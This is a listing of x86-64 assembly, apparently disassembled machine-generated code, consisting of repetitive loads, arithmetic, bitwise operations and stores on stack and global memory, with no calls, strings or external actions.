mov rax, qword [rsp + 0x6d78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6be0]
movzx eax, word [rax]
mov word [rsp + 0xc50], ax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0x49]
or eax, ecx
mov byte [0x14017900e], al
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc24], ax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x4e], al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
lea rax, [rsp + 0x3b68]
mov qword [rsp + 0x6d88], rax
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
sub eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a4e4], ax
mov rax, qword [0x14017a4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x47], al
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x6d90], rax
mov rax, qword [rsp + 0x6c78]
movsx eax, word [rax]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x6ce0]
movzx eax, word [rax]
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x6c80]
mov rcx, qword [rsp + 0x6d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d10]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x6d98], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d80], rax
movzx eax, byte [rsp + 0x44]
mov byte [0x14017a4d5], al
movzx eax, byte [0x140179009]
mov byte [rsp + 0x4f], al
movzx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc50], ax
mov rax, qword [0x14017a528]
movzx eax, word [rax]
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
lea rax, [rsp + 0x3b58]
mov qword [rsp + 0x6da0], rax
mov rax, qword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6a70]
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0x48]
mov qword [0x14017a538], rax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x6c38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x6db0], rax
mov rax, qword [rsp + 0x6d68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c58]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x6dc0], rax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov word [0x140179020], ax
mov rax, qword [0x14017a538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
and eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x6dc8], rax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [0x14017a4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d], al
lea rax, [rsp + 0x6da8]
mov qword [rsp + 0x6dd0], rax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x6cc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x3bf4], eax
mov eax, dword [rsp + 0x3b34]
movzx ecx, al
mov eax, dword [rsp + 0x3af0]
shl eax, cl
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0x46]
mov qword [0x14017a540], rax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d28]
movzx eax, word [rax]
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc14], ax
lea rax, [0x140179020]
mov qword [rsp + 0x6dd8], rax
mov rax, qword [rsp + 0x6c68]
mov rcx, qword [rsp + 0x6c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov dword [rsp + 0x3bf8], eax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6be8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [0x14017900f], al
mov rax, qword [rsp + 0x6c38]
movzx eax, word [rax]
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x6ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
sub eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov byte [rcx], al
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x6de0], rax
movsx eax, word [rsp + 0xc44]
movsx ecx, word [rsp + 0xc3c]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x3af0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6be8]
mov qword [rsp + 0x6de8], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x6d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b14], eax
lea rax, [rsp + 0x6db8]
mov qword [rsp + 0x6df0], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
and eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
mov rax, qword [0x14017a520]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
cdq
mov ecx, 0xd4d
idiv ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x6df8], rax
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
shl eax, cl
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x3bfc], eax
mov eax, dword [rsp + 0x3be8]
mov rcx, qword [rsp + 0x6d48]
mov qword [rsp + 0x6e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6e00]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x6e08], rax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
lea rax, [rsp + 0x47]
mov qword [0x14017a548], rax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
or eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x6e10], rax
mov rax, qword [rsp + 0x6ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [rsp + 0x41], al
lea rax, [0x14017901c]
mov qword [rsp + 0x6e18], rax
mov rax, qword [rsp + 0x6c68]
mov rcx, qword [rsp + 0x6d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b58], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x6cc8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x4f]
mov rcx, qword [rsp + 0x6d18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179009], al
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x6dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov word [rcx], ax
mov rax, qword [0x14017a520]
movzx eax, word [rax]
mov word [rsp + 0xc64], ax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x3bec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x6e28], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf8], eax
mov rax, qword [rsp + 0x6ca0]
mov rcx, qword [rsp + 0x6c18]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x6e30], rax
lea rax, [rsp + 0x44]
mov qword [0x14017a550], rax
movzx eax, word [rsp + 0xc30]
imul eax, eax, 0xceb
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a78]
movzx eax, byte [rax]
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x6c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6e38], rax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6cc8]
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x6e40], rax
movzx eax, word [rsp + 0xc30]
movzx ecx, word [rsp + 0xc24]
sar eax, cl
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
mov rax, qword [0x14017a520]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017901c], ax
mov rax, qword [rsp + 0x6a78]
movzx eax, byte [rax]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x47], al
movzx eax, byte [0x14017900a]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x6a28]
imul eax, dword [rax], 0x3916
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x6d58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c00], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov byte [0x14017a4d6], al
mov rax, qword [rsp + 0x6a58]
movzx eax, byte [rax]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [rsp + 0x42], al
lea rax, [0x14017a4e4]
mov qword [rsp + 0x6e50], rax
mov rax, qword [rsp + 0x6e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c60]
mov word [rcx], ax
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf8], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
mov qword [rsp + 0x6e58], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
sub eax, ecx
mov word [0x140179018], ax
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
lea rax, [rsp + 0x4d]
mov qword [rsp + 0x6e60], rax
movzx eax, byte [rsp + 0x4d]
mov rcx, qword [0x14017a548]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc14], ax
lea rax, [rsp + 0x6c70]
mov qword [rsp + 0x6e68], rax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6c98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x3c08], eax
mov eax, dword [rsp + 0x3bf0]
mov ecx, dword [rsp + 0x3c00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b68], eax
mov rax, qword [0x14017a520]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc44]
and eax, ecx
mov word [0x140179024], ax
movzx eax, byte [rsp + 0x4f]
mov rcx, qword [rsp + 0x6d50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
lea rax, [rsp + 0x49]
mov qword [rsp + 0x6e70], rax
mov rax, qword [0x14017a538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x6e78], rax
mov rax, qword [rsp + 0x6e08]
mov rcx, qword [rsp + 0x6da8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d00]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6c00], rax
lea rax, [rsp + 0x3b68]
mov qword [rsp + 0x6e80], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [0x14017a550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017900c], al
movzx eax, word [rsp + 0xc40]
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x6be0]
movsx eax, word [rax]
movsx ecx, word [0x14017a4e0]
sub eax, ecx
mov word [rsp + 0xc08], ax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x6e88], rax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [rsp + 0xc64]
sub eax, ecx
mov rcx, qword [rsp + 0x6e18]
mov word [rcx], ax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x6df0]
mov qword [rsp + 0x6e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6e90]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
lea rax, [rsp + 0x3c00]
mov qword [rsp + 0x6e98], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6e38], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x3c0c], eax
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179028], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [0x140179018]
cdq
idiv ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0xc54]
movsx ecx, word [rsp + 0xc64]
and eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [0x140179010]
mov qword [rsp + 0x6ea0], rax
mov rax, qword [rsp + 0x6d88]
mov rcx, qword [rsp + 0x6e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6dd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x3c10], eax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x4b]
add eax, ecx
mov rcx, qword [0x14017a508]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc38], ax
movzx eax, word [rsp + 0xc14]
mov word [rsp + 0xc6c], ax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc20]
sub eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0x6da8]
mov qword [rsp + 0x6ea8], rax
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
lea rax, [rsp + 0x3bc8]
mov qword [rsp + 0x6eb0], rax
mov rax, qword [rsp + 0x6c20]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b4c], eax
mov rax, qword [rsp + 0x6a58]
movzx eax, byte [rax]
mov byte [0x14017a4d7], al
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x6eb8], rax
movsx eax, byte [rsp + 0x49]
movsx ecx, byte [0x14017900f]
sub eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6df8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f], al
lea rax, [rsp + 0x53]
mov qword [rsp + 0x6ec0], rax
mov rax, qword [rsp + 0x69b0]
movzx ecx, al
mov rax, qword [rsp + 0x6a48]
shl rax, cl
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b94]
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov eax, dword [0x140179004]
movzx ecx, al
mov eax, dword [rsp + 0x3abc]
sar eax, cl
mov dword [rsp + 0x3b58], eax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x6ec8], rax
movsx eax, byte [0x14017900e]
movsx ecx, byte [rsp + 0x46]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b68]
movzx eax, word [rax]
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf8], eax
mov rax, qword [rsp + 0x6df0]
mov rax, qword [rax]
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x6d70]
mov rcx, qword [rsp + 0x6c50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c70], rax
lea rax, section..data
mov qword [rsp + 0x6ed8], rax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179024], ax
movzx eax, word [0x140179018]
mov word [rsp + 0xc74], ax
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x6e80]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3af0]
mov dword [rsp + 0x3c18], eax
mov rax, qword [rsp + 0x6c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x6c78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc3c]
shl eax, cl
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc38]
or eax, ecx
mov word [0x14017902c], ax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sar eax, cl
mov rcx, qword [rsp + 0x6c08]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x6ee8], rax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3be4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a48]
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x6e40]
mov rcx, qword [rsp + 0x6dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c0c], eax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x6ef8], rax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov byte [rsp + 0x43], al
lea rax, [0x14017900c]
mov qword [rsp + 0x6f00], rax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bec], eax
lea rax, [rsp + 0x3c10]
mov qword [rsp + 0x6f08], rax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6cf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x6f10], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc2c]
add eax, ecx
mov word [rsp + 0xc60], ax
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc68]
shl eax, cl
mov word [0x140179030], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x52]
xor eax, ecx
mov rcx, qword [rsp + 0x6ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
mov byte [rsp + 0x56], al
mov rax, qword [0x14017a520]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x6f18], rax
mov rax, qword [rsp + 0x6ea8]
mov rax, qword [rax]
